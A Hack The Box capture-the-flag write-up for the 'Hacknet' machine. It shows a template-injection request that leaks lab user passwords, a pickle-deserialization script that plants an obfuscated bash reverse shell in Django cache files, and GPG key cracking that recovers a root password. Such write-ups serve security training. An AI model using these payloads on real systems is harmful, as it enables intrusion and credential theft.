Hacknet - Hack The Box Machine

September 2025

User Flag

Jinja2 SSTI on username display on post likes

{{ users.values }}

On post 23, there was a user that was private.

To run the exploit, like the post and then get the likes list:

import requests

URL = "http://hacknet.htb"


cookies = {
    "csrftoken":"kdMrRsjphtuaOiSuFy27CISOoLdzmecE",
    "sessionid":"bwoffysmqgmqpwsho5kimmgx8gokzt9j"
}



r = requests.get(URL + "/like/23", cookies=cookies)
print(r.text)


r = requests.get(URL + "/likes/23", cookies=cookies)
print(r.text)
<div class="likes-review-item"><a href="/profile/2"><img src="/media/2.jpg" title="<QuerySet [{'id': 2, 'email': 'hexhunter@ciphermail.com', 'username': '{{ users.values}}', 'password': 'H3xHunt3r!', 'picture': '2.jpg', 'about': 'A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.', 'contact_requests': 1, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 16, 'email': 'shadowmancer@cypherx.com', 'username': '{{users.1.email}}', 'password': 'Sh@d0wM@ncer', 'picture': '16.png', 'about': 'A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 18, 'email': 'mikey@hacknet.htb', 'username': 'backdoor_bandit', 'password': 'mYd4rks1dEisH3re', 'picture': '18.jpg', 'about': 'Specializes in creating and exploiting backdoors in systems. Always leaves a way back in after an attack.', 'contact_requests': 0, 'unread_messages': 5, 'is_public': False, 'is_hidden': False, 'two_fa': True}, {'id': 22, 'email': 'deepdive@hacknet.htb', 'username': 'deepdive', 'password': 'D33pD!v3r', 'picture': '22.png', 'about': 'Specializes in deep web exploration and data extraction. Always looking for hidden gems in the darkest corners of the web.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': True}, {'id': 32, 'email': 'a@a.com', 'username': '{{ users.1.email }}', 'password': '123123', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]>"></a></div><div class="likes-review-item"><a href="/profile/16"><img src="/media/16.png" title="shadowmancer@cypherx.com"></a></div><div class="likes-review-item"><a href="/profile/18"><img src="/media/18.jpg" title="backdoor_bandit"></a></div><div class="likes-review-item"><a href="/profile/22"><img src="/media/22.png" title="deepdive"></a></div>

Creds: mikey@hacknet.htb:mYd4rks1dEisH3re

Root Flag

mysql -u sandy -p'h@ckn3tDBpa$$' -h localhost -P 3306 hacknet

/var/www/HackNet/HackNet/settings.py:

from pathlib import Path
import os

BASE_DIR = Path(__file__).resolve().parent.parent

SECRET_KEY = 'agyasdf&^F&ADf87AF*Df9A5D^AS%D6DflglLADIuhldfa7w'

DEBUG = False

ALLOWED_HOSTS = ['hacknet.htb']

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'SocialNetwork'
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'HackNet.urls'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'HackNet.wsgi.application'

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'hacknet',
        'USER': 'sandy',
        'PASSWORD': 'h@ckn3tDBpa$$',
        'HOST':'localhost',
        'PORT':'3306',
    }
}

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},
    }
}

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]

SESSION_ENGINE = 'django.contrib.sessions.backends.db'

LANGUAGE_CODE = 'en-us'

TIME_ZONE = 'UTC'

USE_I18N = True

USE_L10N = True

USE_TZ = True

STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATIC_URL = '/static/'

MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'

DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'

Remove previous cached session for the one with the deserialize RCE exploit:

import pickle
import base64
import os
import time
cache_dir = "/var/tmp/django_cache"
cmd = "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjYvNDQ0NCAwPiYxKSAm|base64 -d|bash"

class RCE:
    def __reduce__(self):
        return (os.system, (cmd,),)

payload = pickle.dumps(RCE())

for filename in os.listdir(cache_dir):
    if filename.endswith(".djcache"):
        path = os.path.join(cache_dir, filename)
        try:
            os.remove(path)
        except:
            continue
        with open(path, "wb") as f:
            f.write(payload)

Private PGP key

/home/sandy/.gnupg/private-keys-v1.d/armored_key.asc
gpg2john armored_key.asc >> hash.txt
grep '^pbkdf2_sha256' hash.txt > django.hash
grep '\$gpg\$' hash.txt > gpg.hash

image-20250918232144043

On each of the backups .sql files found on the machine, do:

export GNUPGHOME=$(mktemp -d)
chmod 700 "$GNUPGHOME"


gpg --homedir "$GNUPGHOME" --import armored_key.asc


gpg --homedir "$GNUPGHOME" --batch --yes --pinentry-mode loopback \
    --passphrase-file sandy_gpg_pass.txt \
    --output backup03.sql --decrypt backup03.sql.gpg

On the second one backup02.sql:

(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
(49,'2024-12-29 20:30:14.430878','Just tweaking some schema settings for the new project. Won’t take long, I promise.',1,22,18),
(50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
(51,'2024-12-29 20:30:56.880458','Got it. Thanks a lot! I’ll let you know as soon as I’m finished.',1,22,18),

That gives us the root password.